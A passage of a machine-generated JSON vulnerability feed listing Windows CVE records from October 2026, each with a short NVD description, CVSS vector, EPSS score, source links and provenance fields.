locally.","detail":"Heap-based buffer overflow in RPC Runtime allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:57.633Z","updatedAt":"2026-10-13T21:18:24.753Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83518","asOf":"2026-10-13T21:18:24.753Z"},"epss":{"probability":0.00388,"percentile":0.32606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83518&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83518","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83518","type":"primary","publishedAt":"2026-10-13T19:19:57.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83518&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83518, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83516","cveId":"CVE-2026-83516","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.","summary":"Out-of-bounds read in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.","detail":"Out-of-bounds read in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:57.300Z","updatedAt":"2026-10-13T21:18:24.453Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83516","asOf":"2026-10-13T21:18:24.453Z"},"epss":{"probability":0.01359,"percentile":0.71491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83516&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83516","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83516","type":"primary","publishedAt":"2026-10-13T19:19:57.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83516&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83516, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83514","cveId":"CVE-2026-83514","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:56.930Z","updatedAt":"2026-10-16T16:21:05.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83514","asOf":"2026-10-16T16:21:05.867Z"},"epss":{"probability":0.00388,"percentile":0.32608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83514&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83514","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83514","type":"primary","publishedAt":"2026-10-13T19:19:56.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83514&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83514, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83513","cveId":"CVE-2026-83513","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:56.640Z","updatedAt":"2026-10-16T16:21:05.673Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83513","asOf":"2026-10-16T16:21:05.673Z"},"epss":{"probability":0.00388,"percentile":0.32607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83513&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83513","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83513","type":"primary","publishedAt":"2026-10-13T19:19:56.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83513&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83513, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83511","cveId":"CVE-2026-83511","aliases":[],"kind":"vulnerability","title":"Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","summary":"Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","detail":"Weak authentication in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:56.460Z","updatedAt":"2026-10-14T04:18:37.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83511","asOf":"2026-10-14T04:18:37.280Z"},"epss":{"probability":0.00666,"percentile":0.51552,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83511&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83511","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83511","type":"primary","publishedAt":"2026-10-13T19:19:56.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83511&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83511, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83510","cveId":"CVE-2026-83510","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:56.280Z","updatedAt":"2026-10-17T04:16:54.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83510","asOf":"2026-10-17T04:16:54.273Z"},"epss":{"probability":0.00241,"percentile":0.15042,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83510&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83510","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83510","type":"primary","publishedAt":"2026-10-13T19:19:56.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83510&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83510, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83509","cveId":"CVE-2026-83509","aliases":[],"kind":"vulnerability","title":"Untrusted search path in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.","summary":"Untrusted search path in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.","detail":"Untrusted search path in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:56.097Z","updatedAt":"2026-10-17T04:16:54.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83509","asOf":"2026-10-17T04:16:54.100Z"},"epss":{"probability":0.00335,"percentile":0.26646,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83509&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83509","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83509","type":"primary","publishedAt":"2026-10-13T19:19:56.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83509&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83509, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83508","cveId":"CVE-2026-83508","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:55.910Z","updatedAt":"2026-10-16T16:21:05.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83508","asOf":"2026-10-16T16:21:05.020Z"},"epss":{"probability":0.00388,"percentile":0.32608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83508&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83508","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83508","type":"primary","publishedAt":"2026-10-13T19:19:55.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83508&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83508, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83506","cveId":"CVE-2026-83506","aliases":[],"kind":"vulnerability","title":"Untrusted search path in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","summary":"Untrusted search path in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","detail":"Untrusted search path in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:55.593Z","updatedAt":"2026-10-16T16:21:04.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83506","asOf":"2026-10-16T16:21:04.670Z"},"epss":{"probability":0.00414,"percentile":0.35397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83506","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83506","type":"primary","publishedAt":"2026-10-13T19:19:55.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83505","cveId":"CVE-2026-83505","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:55.430Z","updatedAt":"2026-10-17T04:16:53.913Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83505","asOf":"2026-10-17T04:16:53.913Z"},"epss":{"probability":0.00257,"percentile":0.17177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83505&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83505","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83505","type":"primary","publishedAt":"2026-10-13T19:19:55.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83505&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83505, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83499","cveId":"CVE-2026-83499","aliases":[],"kind":"vulnerability","title":"Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.","summary":"Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.","detail":"Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:55.003Z","updatedAt":"2026-10-17T04:16:53.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83499","asOf":"2026-10-17T04:16:53.743Z"},"epss":{"probability":0.00346,"percentile":0.27908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83499","type":"primary","publishedAt":"2026-10-13T19:19:55.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81971","cveId":"CVE-2026-81971","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:54.823Z","updatedAt":"2026-10-16T16:21:04.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-81971","asOf":"2026-10-16T16:21:04.023Z"},"epss":{"probability":0.00241,"percentile":0.15043,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81971&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-81971","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81971","type":"primary","publishedAt":"2026-10-13T19:19:54.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81971&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81971, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81969","cveId":"CVE-2026-81969","aliases":[],"kind":"vulnerability","title":"Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.","summary":"Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.","detail":"Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:54.677Z","updatedAt":"2026-10-13T21:18:22.167Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-81969","asOf":"2026-10-13T21:18:22.167Z"},"epss":{"probability":0.00346,"percentile":0.27908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-81969","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81969","type":"primary","publishedAt":"2026-10-13T19:19:54.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81969, scored 2026-10-25. This is a model estimate, not proof of 